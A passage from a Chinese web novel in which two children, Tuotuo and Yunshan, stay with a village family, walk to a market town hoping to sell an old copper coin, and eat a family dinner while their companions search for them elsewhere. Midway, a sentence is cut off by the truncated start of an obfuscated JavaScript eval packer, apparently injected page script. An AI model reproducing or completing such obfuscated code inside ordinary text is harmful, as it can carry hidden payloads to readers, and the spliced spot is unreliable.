李爷爷脸上带着慈祥的笑,从裤兜里摸出火柴盒。他推开火柴盒,从里面拿了根火柴,在边上擦了一下。 云善眼睛一眨不眨地看着。看到李爷爷丢了烧过的火柴,他跑过去捡起来捏在手里看。看了会儿没看出什么明堂,他捏着火柴棍跑去找坨坨,“小棍子。” “火柴。”坨坨指着烧黑的地方说,“这上面烧过了。” 5. 去镇上 云善捏着那根烧过的火柴,跟着坨坨跑出院门。 “去哪?”明东霞问。 “去树下睡觉。”坨坨回一声。 “别去河边玩。”马奶奶大声喊。 李爱聪也跟着跑出门。 他们还去了昨天睡觉的树下。云善挺着吃饱的小肚子站在树下问坨坨,“花花要挣多少钱?” “一辆自行车要一百多块。”李爱聪说。 云善不知道一百多块是多少钱。他摸了摸口袋,抓出了一个铜板,“有一块。” 坨坨跳起来,震惊地问,“你哪来的钱?” “我怎么不知道你有钱?” “花花给的。”云善说。 坨坨纳闷道,“我昨天给你洗裤子的时候怎么没看见?” “脱衣服的时候拿出来了。掏兜。”云善说,“放在窗户边。” 云善是懂洗衣服之前要掏兜的。 “这不是钱。”李爱聪拿过铜板翻来覆去地看,“钱不长这样。” 坨坨拿走李爱聪手里的铜板看了又看,寻思着,这枚铜钱应该算是古董吧。是古董应该就能换钱吧?换钱了就可以买肉吃了! “这能卖钱。”坨坨对李爱聪说,“下午我们去卖钱。晚上买肉吃。” “行!”李爱聪高兴地应下,又问,“这是啥呀?” “铜钱。”坨坨说。 “我知道。”李爱聪拿过铜钱又看来看去,“这上面写的什么字?” “你不认识字?”坨坨这才注意到李爱聪不上学。“你几岁?” “八岁。”李爱聪回道。 “八岁你不上学?”坨坨吃惊地问。 “我不想上学。”李爱聪说,“上学不好玩。” “起码得认字。”坨坨把铜钱上的4个字念给李爱聪听。 李爱聪也听不明白,就是很高兴。因为这个铜钱能卖钱买肉吃。 云善大概听懂了坨坨和李爱聪在说什么。他问坨坨,“我们有钱。花花什么时候回来?” “咱们这钱不够。”坨坨搪塞道,“他们还得挣钱。” 云善鼓着小嘴巴有点不高兴,“不要自行车。”他不想要自行车,他想要花花他们在。 坨坨知道云善的意思,哄他,“他们在外面挣钱,我们好好等着,好不好?” 云善戳在那,不说好也不说不好,小胖脸上是有点不高兴的。 “挣钱不回来很正常的。”李爱聪说,“我爸一个星期才回来两天。” “你后妈对你不好,你爸为什么不管?”坨坨好奇地问。昨天听马奶奶的意思,李爱聪爸爸应该是挺惦记李爱聪的。 “管不住。”李爱聪随手薅了一根草叼在嘴里说,“我爸总不在家,后妈都是趁我爸不在的时候不让我吃东西。我爸在家她就给我吃。” “我爸还和她打过架,没什么用。反正只要我爸不在家,她就对我不好。” “你爸为什么还要和她在一起?离婚不行吗?”坨坨说,“重新找一个对你好的后妈。” 李爱聪吐掉草,“我奶说,我后妈对我爸很好,就是对我不好。他们俩还是能过日子的。” “对你不好也不行。你爸也不好。”坨坨说。 李爱聪看起来有点不高兴,“我奶和我爷对我好。” 云善问,“什么是爸爸、妈妈呐?” 李爱聪转过头看他,像是看什么新奇的东西似的,“你不知道爸爸妈妈是什么?” “你没有爸妈?” 云善摇摇头。 坨坨给他解释,“爸就是爹,妈就是娘。” 这个云善知道。 “你真没爸妈?那你们之前跟谁住一起?”李爱聪没想到,云善竟然比他还差,他连爸爸都没有。 “云善没有爸妈。我也没有爸妈。”坨坨说,“我们那的人都没爸妈。我们和花旗、西觉、兜明还有小丛一起生活在山里。” “怎么会有人没爸妈呢?”李爱聪说,“大哥、姐他们都有爸妈。” 云善大了些,脑子里开始思考一些他从未想过的问题。听了李爱聪的话,他就问坨坨,“我怎么没有啊?” 这个问题,云善以前从来没问过,妖怪们也基本不想这件事。山里活了几百年的妖怪,谁也没爸妈了。大家都一样啊。 但是,云善现在只是个四岁的人类幼崽,坨坨知道没有爸妈的幼崽是孤儿。不过云善有他们,云善不是孤儿。 “你怎么也没有爸妈?”李爱聪也看向坨坨。 “都说了,我们那都没有爸妈。”坨坨说,“这又不是什么问题。” “没有爸妈又怎么了?” 云善也不觉得这是什么大问题。他就好奇地问问。 山里的大家确实都没爸妈。小鹿、小兔子、小松鼠、猴子精没有爸妈,嘟嘟、西西、花花、小丛、坨坨也没有爸妈,重山也没有爸妈。那他当然也没有爸妈啦。 云善在心里自己给自己做了解释,很快不再纠结这个问题。他躺在旁边,听坨坨和李爱聪说话。 坨坨问李爱聪哪里有店铺。李爱聪说,“镇上有。” “我们下午就去镇上。”坨坨说。 “镇上离这儿有点远。”李爱聪说,“得走好长时间。” “我爸、我三姐都在镇上。到时候,我们和他们一起回来。” “行。”坨坨点头。 风城的邮局外,花旗、兜明在和霍然说话。他们刚刚和霍然来邮局寄信给报社。花旗他们没钱,上报纸的钱是霍然拿的。 花旗挺感谢他,这两天难得露出笑脸,“以后还给你。” 霍然摆摆手,“咱们兄弟,别提还的事。” “你们就安心等着,要是有消息了,肯定会有人找来。” 花旗点点头,“我打算去别的地方找找。” “去哪?”霍然问。 “去隔壁海城。”花旗道。 “你们人生地不熟的,过去也不一定能找到。不如在我家先等等。”霍然说,“我先给你们介绍工作?先挣些钱再去找?” “路上吃饭、车费都是花销。” “不用坐车。”兜明说,“我们走去。” “走去?”霍然吃惊,“要是在海城找不到人,你们还继续走?” “把全国找一遍?” 霍然摇摇头,“这么大海捞针,不如在我家等消息。” 花旗心里急。不早点找到云善,他心就一直提着,根本睡不着觉,就担心云善挨欺负,没饭吃。 二百年前,云善自己带着两个石榴跑下山,就被人类孩子欺负了。花旗一想到这事就揪心,就怕云善在他看不到的地方被欺负。云善才四岁,还那么小一点,很多事都还不懂。 霍然见劝不动他们,把兜里的钱全掏出来塞给花旗,“这些你们先拿着用。” 他又从兜里摸出一张名片,“打这上面的电话能联系到我。” “过几天你们就打个电话回来,如果有消息你们也能早点知道,省得来回跑。” 花旗接住名片,真心感谢,“谢谢。” 霍然站在路口,看着花旗和兜明的身影消失在街角。他希望花旗和兜明能够快点找到家里人,能够一家团聚。 白城的小二楼里,汪渡若拿着一本书,站在屋子门口说话,“你们今天中午去哪了?” “去贴寻人启示。”小丛拿着工具活水泥。以前这活都是兜明跟着西觉干,现在兜明不在,他就成了和水泥的小工。 “找什么人?”汪渡若问。 “找家里人。”小丛说。 “我听我爸说,你们是山里来的人?”汪渡若好奇地问,“山里的人怎么会贴瓷砖?” 小丛低着头干活,动作不停,“书上学来的。” “你们可真厉害。”汪渡若真心夸赞,“干活还很快。一个上午已经贴好了三个房间。” 西觉和小丛话都不多,汪渡若和他们俩也聊不起来。只好又拿了书去楼下继续看。 坨坨他们三人睡醒觉,出了李家村,顺着村子口的土路一直往前走。 路两边栽了很多杨树,走在树荫下很凉快。时不时地就能看见一个个村庄。 每路过一个村庄,坨坨都要跑过去问问坐在门口的老年人,“昨天和今天有没有叫花旗、西觉的人来啊?” 老年人笑着摆摆手。 这些村子里大都还是泥土房,只有个别几户是砖房。 他们一路走一路问,问过的人都说没见过花旗和西觉。 云善跟了一路,有点琢磨过味了。他问坨坨,“坨坨不知道花花在哪?” “他们没告诉我去哪挣钱。”坨坨胡编道。 “找找。”云善说。 前面传来“哐当哐当”声,李爱聪带头往前跑,“火车来了。咱们看火车去。” “快啊。” 坨坨和云善追过去。就见一辆深棕色的货运火车“哐当哐当”地往前开,一节又一节的车厢快速经过他们面前。 “火车。”云善认得,他有玩具火车。第一次看到真的火车他很兴奋,在路边追着火车往前跑。 边跑边喊,“等等,等等。”他想坐坐火车。 三个孩子追着火车跑了一段路。 火车开的快,不管他们怎么倒腾腿都追不上。 云善站在那目不转睛地看着火车越开越远,他问坨坨,“谁开火车?” “火车司机。”坨坨说。 “我有火车。”云善说。 “你哪来的火车?”李爱聪问。 “有。”云善问坨坨,“我火车呢?” 坨坨现在打不开乾坤袋,随口说,“在山上。没带。” “没带来。”云善对李爱聪说,“在山上。你上山我给你看。” “你家都不知道在哪。”李爱聪踩上横在他们面前的铁轨,“咱们再往前走,马上就到镇上了。” 云善蹲下来拍拍被太阳晒得烫手的铁轨,“轨道。”他也认得。 “烫。” “烫就别摸了。”坨坨说,“我们再往前走。” 过了火车轨再往前走走是一条水泥路。路上经过的大都是自行车或者走路的行人,偶尔有卡车或者桑塔纳小轿车经过。 坨坨一手拉住云善,一手拽着李爱聪,“我们慢点过马路。” 这边没有红绿灯,坨坨转转脑袋,看到路上没有汽车,喊一句,“跑。”拉着云善和李爱聪飞快地跑到马路对面。 过了马路往前走是一处菜市场,里面有些石台子摊位。坨坨看到有卖猪肉的。 他跑去猪肉摊位前问,“猪肉多少钱一斤?” 穿着白色围裙,胸口脏兮兮的摊主说,“一块二一斤。要买?” “等会儿来买。”坨坨心想,一块二一斤也太便宜了吧。他记得之前在现代买猪肉都十几块一斤。 猪肉摊主笑笑,带着玩笑的语气对三个孩子说,“行。一会儿记得来买。没有肉票不卖。” “什么肉票?”坨坨眨巴眼,“给钱还不行吗?” “还得要票。”猪肉摊主笑道,“没带票回家拿。” “买东西还这么麻烦。”坨坨看向李爱聪责怪道,“你怎么不说买肉还要票?” “我不知道啊。”李爱聪无辜道。 菜市场门口有卖水果的小摊子。有一个老头在地上铺了蛇皮口袋,摆了些个头很小的黄色果子。 “这杏真小,还能卖钱?”李爱聪惊奇道。 “啥杏。”老头笑呵呵道,“是枇杷。吃没吃过?” 李爱聪摇摇头,“好吃吗?” “别看这个头小,它甜。”老头说。 云善蹲下来拿了一个果子正准备咬,被李爱聪拦下来了,“咱没钱。你不能吃人家东西。” “一会儿再来买。”坨坨说着把云善手里的枇杷拿下来放回摊位上。 云善有点不舍得,被坨坨拉着,还回头看了一眼。 坨坨知道他想吃,安抚道,“我们一会儿就来买。”山里这个季节有很多果子吃,一直到秋天,他们都不会缺果子吃。 李大志家吃的东西不多,云善这两天在吃食上真的受委屈了。 镇子上有照相馆、服装店、供销社、商店、自行车修理店、理发店。 云善喜欢逛街。他跑进理发店,看到有人披着大布坐在凳子上,旁边人拿着剪刀在那人头上“咔嚓”“咔嚓”,布上落下了黑色的头发。 云善担心地摸了摸自己脑袋顶上的辫子。 拿着剪刀的理发师转头打趣,“小朋友,来剪辫子?” 云善摇摇头,站在门口不敢进去。 坨坨进过理发店。之前小飞哥还拉着花旗、西觉、兜明和小丛去村口剪过头发,理的小平头。 “哟,又来一个剪小辫子的?”理发师开着玩笑。大家看向门口,看到两个扎着小辫的孩子,都哈哈笑起来。 坨坨拉着云善去了下一个店铺,那是个商店。门口用筐子装了好些细长的玻璃瓶。 李爱聪很有经验地说,“这是汽水瓶。” 看店的年轻女人坐在屋里冲外面喊一句,“橘子味的汽水4毛钱一瓶。瓶子不能拿走。” “我们快去卖钱。”李爱聪说,“我想喝汽水。” 云善看上了玻璃柜台里花花绿绿的包装纸。他跑到柜台边,指着里面的包装纸问,“什么啊?” “糖。”女店员回答。 云善动了动嘴巴,坨坨拉他出门,“我们先把铜钱卖了。再回来给你买吃的。” 这次他拉着云善不让他闲逛,闲逛看啥都想买。现在还没钱。等一会儿有钱了,再慢慢逛。 他们在街上转了一圈,后来没再进店铺。李爱聪问坨坨,“你怎么卖那个东西?” “这些店不像是能卖铜钱的。”坨坨说。 李爱聪问,“什么店能换钱?” “古董店吧。”坨坨说。 “古董店?”李爱聪听都没听过。“这什么店?” “买卖古董的。”坨坨说。 “古董是啥?”李爱聪又问。 “就是古代人的东西。”坨坨说。 又转了一圈,坨坨还是没看到类似的店铺。李爱聪有点急,“到底能不能卖钱?” “我想喝汽水。” “能换钱。”坨坨肯定道,“就是这儿的店不像是能换钱的。” “你不要骗我。”李爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李爱聪点点头。 “我们暂时住在李大志家。”坨坨说。 李爱聪点点头,“他们和家里人走丢了。奶说让他们先住下来。” “以后给小叔当儿子。” 屋里李久勇的同事笑了一声。李久勇对李爱聪说,“你别瞎说了。” “爸,我想喝汽水。”李爱聪说。 李久勇的同事问,“这些小孩走了十多里过来的?” 李久勇嗯了一声。 “那可不简单。”李久勇同事笑道。 李久勇看了看手表,现在已经是下午4点多,马上就下班。他和同事说了一声,带着李爱聪、坨坨和云善取了自行车,往街上走。 “你们上镇上来干吗?”李久勇问李爱聪。 “坨坨说来卖东西。”李爱聪说到这个,有些抱怨,“但是他说没有能卖的店。” “卖什么东西?” 坨坨掏出那枚铜钱,“这个。古董。” “哪来的?”李久勇接过来看了看。他不认识什么古董不古董的,只知道这是铜钱。这会儿的铜钱也不难见,好些人家都藏着一些。 “家里传下来的。”坨坨胡编道。 “这东西得找专门收的人。”李久勇说,“一般人不要。” “你认识要这个的人吗?”坨坨问。 李久勇摇摇头,“不认识。” 他又问坨坨他们是怎么回事,怎么住在李大志家。李爱聪和坨坨两人你一言我一语地把事情说了。 李久勇差不多听明白了。 走到商店,李久勇花了一块两毛钱给小孩们一人买了一瓶汽水。 李爱聪用起子打开一瓶汽水给云善,云善笑眯眯地抱着汽水喝了一口。 汽水有橘子味,但是里面有气在胃里跑,云善不爱喝。把瓶子给了坨坨。 坨坨手里的那瓶汽水还没开,他把汽水瓶放到柜台上,对店员说,“这瓶不要了。” 店员找了四毛钱给坨坨,坨坨本来想拿给李久勇,但看到云善趴在人家玻璃柜台前往里看东西,他就想给云善买块糖吃。 “这四毛钱能给我吗?”坨坨说,“等我卖了铜钱就还给你。” 李久勇挥挥手,“拿去吧。” 柜台里的奶糖要4分钱一颗,水果糖3分钱一颗,麦芽糖2分钱一颗。坨坨看奶糖和水果糖的包装都好看,就一样要了四颗。 要完了糖,坨坨自己掰着手指头算价钱。从古代的物价、金钱单位突然转换到用分、毛为单位,他一时转不过来。 “二毛八。”女店员先算出来,“你给我三毛,我找你2分。” 坨坨自己算出来后,才把钱给店员。拿回了一张绿色,有飞机的两分钱。这张纸币小小的。比他以前见过的纸笔小得多。 李久勇看着坨坨给云善、李爱聪一人分了一份糖。还剩下两份糖揣他自己兜里了。 李久勇原先还以为坨坨给他买的,没想到坨坨是给自己的。 坨坨把汽水喝得只剩下一口问云善,“喝不喝了?” 云善摇摇头。 坨坨把最后一口汽水喝下,学着李爱聪的样子把玻璃瓶放到柜台上。 李久勇带着他们去了初中门口。 云善含着水果糖扒着大铁门上往校园里看。 这个校园没有楼,都是红砖房子。一共分成了三个片区,中间中着一棵大松树。 李爱聪站在旁边指着校园右边的那排房子说,“那是上课的地方。” 他又指着正前方的区域说,“前头右边是老师住的地方。中间是食堂,左边是宿舍。” 坨坨指着校园左边房子问,“那排房子呢?” “那是老师办公室。”李爱聪说。 “你进去过啊?”坨坨问。 李爱聪点点头,“等会儿放学就能进去。咱们进去玩。” “玩什么?”李久勇突然想起来问,“你今天过来,你奶知道不?” 李爱聪啊了一声,“忘记和她说了。” “你奶要是找不到你又该急了。” “一会儿别玩了,赶紧回家。” “叮铃——” “叮铃——” 长长的下课铃声响起,李爱聪说,“下课了。三姐要出来了。” 有老师过来打开了大铁门,云善立马往里走,坨坨拉着他,“我们一起。” 李久勇锁上自行车,追着李爱聪他们。 右边砖房走出好些挎着书袋的个学生。李爱聪带着坨坨和云善跑去人家教室外面踮脚扒着窗户往里看,他还不敢进去。 云善个子小,踮脚也只是扒着窗沿,根本看不见里面有啥。坨坨就把他牵到教室门口,两人站在门口往里面看。 里面课桌旧旧的,整个屋子都是一种又黄又旧的感觉。站在黑板边擦黑板的老师转头看了他们一眼,又继续擦黑板。 教室里还有几个学生在收拾书袋。 李爱聪突然敲了敲窗户,冲着里面喊,“三姐。” 李爱蓝后面的男同学笑嘻嘻地说,“李爱蓝,你弟弟来接你。” 李爱蓝抓着书袋走出去。坨坨牵着云善跟上。 “这俩谁?”李爱蓝问李爱聪。 “我叫坨坨。他是云善。”坨坨主动说,“我们暂时住在你家。” “住在我家?”李爱蓝奇怪地问,“你们为什么住在我家?” 6. 李爱蓝 “我们现在没地方住。”坨坨回答李爱蓝。 李爱聪道,“奶说把他俩留下来给小叔做儿子。” 李爱蓝皱起眉头,盯着坨坨和云善看了两眼,烦躁地转开身,“谁要他们。” 李爱聪,“奶说要的。” “我们家才不要。”李爱蓝大声对李爱聪说。 坨坨赶紧说,“我们不留在你们家。等花旗他们过来,我们就走了。” 李爱蓝没说话。 李爱聪跟上去说,“坨坨和云善挺好的。可以和我一起玩。” “我同意他们做我弟弟。” 李爱蓝转过头不高兴地看他,“你想他们做你弟弟,你让他们去你家。” 李久勇打断,“行了,小聪,别惹你三姐。” “你有啥不高兴的。”李爱聪嘟囔一声,跑过去和坨坨、云善一起走。 云善走得有点累,他晃晃坨坨牵着他手的胳膊,指着李久勇的自行车说,“坐自行车。” “来。”李久勇停下车。 云善高兴地跑过去。李久勇要把他抱到后面坐,他不愿意,“坐前面。” 李久勇笑了两声,“行,坐前面。”换个了位置,把云善抱到前面坐着。 “我也要坐前面。”李爱聪抢在坨坨前面说。 李久勇把他也抱到大杠上,坨坨在另一边扶着云善的屁股,“李爱聪,你看好云善。” “放心吧。”李爱聪胳膊比坨坨的还长,足够把云善圈在怀里。 走到菜市场的路口,坨坨说要去菜市场买枇杷。买完糖之后,坨坨现在还有一毛二分。 他把剩下来的钱都拿来买了枇杷。老头足足给他称了一斤。 云善坐在大杠上,接过坨坨递过来的枇杷咬了一口。“坨坨,甜的。” “好不好吃?”坨坨问他,也拿了一个枇杷吃。 “好吃。”云善点头。 坨坨给李爱蓝也拿了一个,李爱蓝冷着脸转开,“我不吃。” 李爱聪奇怪地看着李爱蓝,有东西还不吃?他三姐傻了? 坨坨感觉到李爱蓝不喜欢他和云善,便也不往李爱蓝身边凑。 离开菜市场之前,云善扭身问坨坨,“不买肉啊?”他还惦记着吃肉的事。 坨坨说给他买糖就买糖了,说要买枇杷也买了。现在就剩下肉没买。 “没钱了。”坨坨说,“我们下回再买。” 云善把身子扭过去,小手抓着车把,嘴里跟着重复,“下次再买。” 坨坨拿了个枇杷在衣服上蹭了蹭,“你再吃个果子。” 他们走回家时,天都快黑了。 李久勇先把坨坨、云善和李爱蓝送回家。 马奶奶站在巷子口,看到李爱聪,大声骂,“小活作,一下午你又跑哪去了?” “不能老实呆在家吗?天天跑出去创什么魂?” “他们上镇上找我了。”李久勇和马奶奶说完话,又对李爱聪说,“以后出门告诉你奶奶。” “去哪得和我们说一声。”明东霞从院子里走出来说,“我们干完活回来,在村里找人问了一圈,都说没见到孩子。” 为了找李爱聪他们三个,家里饭也没做。李大志骑车去王家村还没回来。 明东霞见孩子们回来了,就回了院子里做饭。 马奶奶一直在念叨李爱聪、坨坨和云善。 云善根本不知道人家念叨他。他站在旁边笑眯眯地摸狗。 “小白,过来。”李爱蓝喊了一声,大白狗跟着李爱蓝进了院子。 “小狗,等等我。”云善也跟着跑进院子里,坨坨赶紧也跟进去。 李爱蓝进锅屋帮明东霞做晚饭,“妈,你要领养那两个小孩?” “他们家里人要是不找来,就把他们留在咱们家。”明东霞说。 李爱蓝闷闷地坐在板凳上烧火,“我们家现在没钱。” “养两个孩子也不花什么钱。”明东霞笑着说,“坨坨和云善两人很懂事的。” “你看坨坨才五岁,人家把云善照顾得很好。今天早饭还是坨坨做的,一点没要我忙,让我吃到现成的了。” “我在家的时候也能让你吃现成的。”听到明东霞夸坨坨和云善,李爱蓝心里很不是滋味。男孩有什么好? 就非得要男孩吗?她们姐妹差什么了?班里的男孩子都没有她成绩好。她二姐学习成绩更好。以后肯定能给家里挣脸面。起码比二堂哥李爱波强。李爱波连初一都没读完就不读书了。 李爱蓝心里越想越不高兴,站起来往外走。 “去哪?你不烧火了?”明东霞喊了一句。 李爱蓝没回答。 云善蹲在院子里揉大白狗的肚子,李爱蓝站在旁边冷着脸说,“谁让你摸我家狗的?” “啊?”云善仰起脑袋天真地看向李爱蓝。 “我们和小狗玩一下。”坨坨立马说。 “摸狗咋了?”念叨完李爱聪的马奶奶说,“狗还是啥金贵东西,不让人摸?” 李爱蓝气结,转身回了自己屋子。发现床上放着一个袋子,她打开看,里面都是小男孩的衣服。 “谁衣服放我床上了?”李爱蓝问。 马奶奶走到屋子门口和李爱蓝说话,“小慧收拾小聪小时候的衣服拿来给坨坨和云善穿。” “他昨晚睡在这屋。你看看,他翻没翻你东西?” 李爱蓝赶紧打开抽屉,看到自己的东西还都整齐地在里面,她心里松了口气。 “他不是都和你睡一屋吗?咋又来我屋了。”李爱蓝把书袋里的书拿出来整齐地摆在桌上。 “他要和坨坨、云善一起睡。我屋里床睡不开。今晚叫他俩跟小聪回家睡。” 李爱蓝一听自己的床被坨坨和云善睡了,更不开心。 “在学校没吃好啊?”马奶奶仔细端详自己的孙女,“瘦了似的。” “带去的咸菜坏了一半。”李爱蓝说,“我妈盐放少了。” “没菜吃咋办的?”马奶奶急着说,“后天我给你腌菜,我放盐多。” “吃我同学的呗。”李爱蓝说,“人家匀了好多咸菜给我。” “下星期,我也得给人家匀些。我都和人说好了。” “这次我多腌点。”马奶奶说。 李久勇想叫李爱聪跟他回家吃饭,李爱聪不愿意回去。 “跟你爸回去吃饭去。”马奶奶对李爱聪说,“刘云今天还来叫你回去吃饭,说杀鸡了。” 李爱聪一听有肉吃,就说,“那我回去吃。” 云善也听到有肉吃,跟在了李爱聪后面。 “云善你不走。”马奶奶笑着说,“你在家吃饭。” “我吃肉。”云善转身和马奶奶说话。 “想吃就去吃。”李久勇冲屋里喊,“爱蓝,走,上二伯家吃鸡。” 李爱蓝和李久勇家很熟,应了一声走出屋。 坨坨还没去过李爱聪家,牵着云善跟着李爱聪。李爱聪家比李爱诚家远了一些,差不多走两钟也能到。 李久勇推着自行车先走进院子里。刘云高兴地迎上来,“回来了?” “这个星期活多不多?” “还行。”李久勇说,“这几天都在外面跑了。昨天在葛庄,走得比较远。” 看到多来了三个小孩,刘云脸上闪过不高兴,很快被她压下去,虚情假意地招呼道,“爱蓝回来了。” “二伯娘。”李爱蓝喊一声。 李爱聪带着坨坨和云善往屋里跑。 进了屋后,他从碟子里抓了一个鸡腿自己先咬了一口,然后又抓着另一只鸡腿跑出屋拿给李久勇。 李爱香在屋里跺脚,小声骂,“李爱聪你真讨厌!” 李爱蓝嫌弃地看了她一眼,“李爱聪吃鸡腿咋了?我二伯家养的鸡凭啥不给他吃鸡腿。就该给你吃?” 李爱蓝比李爱香大一岁。自从知道刘云趁她二伯不在家欺负李爱聪,李爱蓝就特别看不上刘云和李爱香。有机会就挤兑李爱香几句。觉得她堂弟受了这人欺负。 “你们来干吗?”李爱香也看不惯李爱蓝。 “二叔叫我来吃鸡肉。”李爱蓝得意道。 李久勇拿着那鸡腿不吃,进了屋,又放到李爱聪碗里。 刘云什么也没说,招呼大家吃饭。今天做了馒头和米汤,坨坨看着菜和饭都还不错。 坨坨给云善夹了两块肉多的鸡块,被李爱香偷偷瞪了两眼。他翻了个白眼,觉得这个小姑娘也很讨厌。他总算知道李爱聪为啥不愿意回家了。 云善这一顿饭吃了好几块肉,吃得小嘴油乎乎的。 刘云心里不痛快,觉得肉给外人吃糟蹋了。话里有话地说,“云善还挺能吃。” “坨坨真精,转捡肉多的给云善夹。” 坨坨就当没听见。 李爱蓝偷偷地翻了个白眼。她这个伯娘真是讨厌。 李久勇咬着馒头,看着云善笑着说,“小孩吃得多好,长得壮实。” 云善冲着李久勇笑笑,“好吃。” “再吃点。”李久勇逗他。 云善摇摇头,拍拍肚子,“饱了。”吃饱他就不吃了。 李爱聪吃了两个鸡腿,米汤只喝了一半。剩下半碗米汤被李久勇拿去喝了。 吃完饭,李爱聪不想留在家里,跟着坨坨他们跑了。李久勇喊了好几声也没把他叫回来。 刘云说,“小聪不爱在家里,让他去玩去吧。” 李久勇掏出烟叼在嘴里,用火柴点燃,抽了一口吐出烟圈,闷闷地说,“你对小聪好点。我就这么一个儿子。” 刘云边擦桌子边说,“他整天不着家,我还能对他怎么样?” “孩子为什么不着家?”李久勇心里有怨气,他心疼李爱聪。“云善那么小点的孩子能吃几块肉?这也值当说?” “我怎么知道他为什么不着家?他愿意在他奶奶那呆着。”刘云端起摞好的碗说,“坨坨和云善是哪里来的小孩?我们家多久才杀一只鸡,你还叫他们来吃?” “你回来就是和我吵架的?李久勇,我哪里对不起你?你外头工作忙,家里里里外外地都是我带着爱香做的。” “别家女人地里的活做两分,我要做四分。我喊过累没?” 李久勇不说话了。他闷闷地站在门口抽完了一支烟。 路上,李爱蓝说,“李爱聪,你不许睡我屋。你脏死了。” “我脏什么了?”李爱聪听了很不高兴。“我衣服天天换。奶给我洗的。” “你身上都是土,就是脏。”李爱蓝说,“今晚你去奶屋里睡。我不要你。” “谁想跟你睡?”李爱聪仿佛受辱了一样,“你事最多了。我才不想和你睡一屋。” 晚上黑,李爱蓝走得慢,“还有你们俩,也不许进我屋睡觉。” 这个你俩指得是云善和坨坨。 坨坨没说话,他看出来李爱蓝不喜欢他和云善。 “李爱蓝?你回来了。”李爱波的声音突然在河边响起,“今天星期五啊?” 李爱蓝被吓了一跳,“二哥。” 李爱波眯着眼睛看着李爱蓝后面的人影,后面跟着三个小孩。 “二哥。”李爱聪说,“我们今晚跟你睡。” “谁要你。”李爱波笑道。 “你晚上在河边干什么?”李爱蓝奇怪地问。 “你管我。”李爱波啧了一声,“你家住海边,管那么宽?” 李爱蓝哼了一声,自己回去了。李爱聪、坨坨和云善跟着李爱波回家。 “二哥,你在河边干什么啊?”李爱聪好奇地问。 “拉屎。”李爱波道。 不知道这个词戳到云善哪根神经,他嘿嘿嘿地笑起来。 “这么黑的天,你能看得清?”坨坨也笑,“你擦干净屁股了?” “我闭着眼都能擦干净。”李爱波吹牛。 “我们快走。”坨坨拉着云善跑,“别让他碰到,他没擦干净屁股。” 白天来过,坨坨大概记得路,拽着云善往亮灯的地方跑。 “别跑!我就要摸你们。”李爱波贱兮兮地追上去。 “啊——”云善哈哈笑着拼命地倒腾着腿跟着跑。 “大哥。”坨坨冲着在院子里擦澡的李爱诚喊。 “大哥。”李爱聪接着喊,“二哥欺负人。” “大哥。”云善也跟着喊。 李爱波先逮住了李爱聪,把李爱聪揉摸了一顿。坨坨和云善抓着李爱诚的大裤衩子躲在他身后。 李爱诚拎着裤衩,无奈地说, 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李爱波在隔壁喊,“睡不下来跟我睡。我床上有地方。” “我才不去。”李爱聪冲着外面大声喊。 云善被挤在坨坨和李爱聪中间,他像条肥泥鳅似的蛄蛹了一会儿,给自己多挤出了一块地方。 李爱聪嫌他挤,自己跑去睡了对头。 李爱诚拧了收音机,侧躺在床上听英语。 “什么叽哩哇啦的?”李爱聪坐起来问。 “英语。”李爱诚说,“外国人说的话。” 李爱聪安静地听了两句,“一句也听不懂。” “外国人说的话和咱们的不一样。”坨坨说着就拽了一句,“马二奶们椅子坨坨。” 李爱诚转过身惊讶地问,“你还会说英语?” “就会两句。”坨坨说,“以前学过。” “你家以前干什么的?你这么小就学过英语?”李爱诚好奇地问。 “我们是山里的。”坨坨说。 “山里的人还知道英语?”李爱诚十分惊讶。 坨坨啊了一声,“小丛爱看书,我们跟着学了两句嘛。” 广播里的英语叽里呱啦地很是催眠。云善今天的活动量挺大,玩了一会儿,躺在床上睡着了。今晚都没提想花旗他们的事。 李爱诚坐起来四下看了看蚊帐,没看到有蚊子,他下床关了收音机,拉了灯绳,躺回床上侧着身子也睡着了。 花旗带着兜明一路走,一路找蛇。通过蛇把找人的信息传播出去。 兜明找不到同类,就一直跟着花旗走。夜里,他在荒郊野外的田里捉到了两只兔子,一只自己吃了,另一只拿给花旗。 花旗没有胃口,摇摇头。看着兜明抓着那只兔子一顿撕咬后吞下肚子。 他们现在一点法力也没有,就连变身都做不到。以人类的嘴巴,他无法整只吞咽猎物。他从没觉得人类的身体竟然这么麻烦。 兜明吃完了一只兔子,身上带着血腥味。两人找了河边洗掉身上的味道。 “你要是聪明点,我们就能分开找,那样能快点。”花旗忽然来了这么一句。 兜明歪着头快速看了花旗一眼,什么也没说。他知道花旗心情不好,这时候不管说什么都会挨骂。他索性什么也不说。 反正花旗以前经常说他笨,这次不就是稍微换了个说法么。反正他也不在意。 兜明心里也很惆怅。花旗天天总是阴着脸,弄得他整日提心吊胆。 小丛和西觉坐在友谊商店门口,从晚上一直坐到天亮。 街上慢慢有了行人,自行车的叮铃铃的铃声吵醒了小丛。他睁开眼睛,四处看看。昨天又没有消息。 他们往汪老师家去,每经过一个电线杆都要查看一番。在他们贴的寻人启示下方又多了一则寻人启示,找的是个小孩子。 路过卖早餐的地方,西觉买了几个肉包子,和小丛边吃边往汪老师家走。 他们到时,汪渡若刚好从路对面走过来。他今天没带书,而是拎了一个绿色的行李包。他今天的打扮和平时不一样,穿了件花衬衫和牛仔裤,比平时时髦。 “今天我把钥匙给你们。”汪渡若说着从兜里掏出了小楼的钥匙递给西觉。 “你不来了?”小丛问,“你要离开了?” “我今天上午要和我妈去我舅舅家玩。”汪渡若说,“他家在风城,我要在舅舅家住半个月。这半个月没法来看房子。” “我爸每天下班会过来。有什么事你们就和他说。” “风城离这多远?”小丛问。 “得有一千里路吧。”汪渡若说,“挺远的,今天上午坐火车,得明天早上才能到。” “那么远。”小丛突然想到什么,赶紧问,“你几点坐车?” “十点半。”汪渡若说,“一会儿我就从这去车站。” “现在几点?”小丛又问。 汪渡若伸出左手看了下表,“现在7点10分。” “你能帮我们在风城贴些寻人启事吗?”小丛期待地问。 汪渡若点点头,“可以。我要在那呆半个月,有时间。” “你等等,我现在就去买东西。”西觉转身快步跑出去。 他跑去上次他们买纸笔的商店,买了一瓶墨水又买了一沓纸,然后快步往回跑。 “你跑得好快。”汪渡若没想到西觉能这么快回来。 小丛接过纸,拿了毛笔沾上墨水,蹲在凳子前就开始写寻人启示。 西觉喘匀了气,拿了另一只毛笔也蹲下来写字。 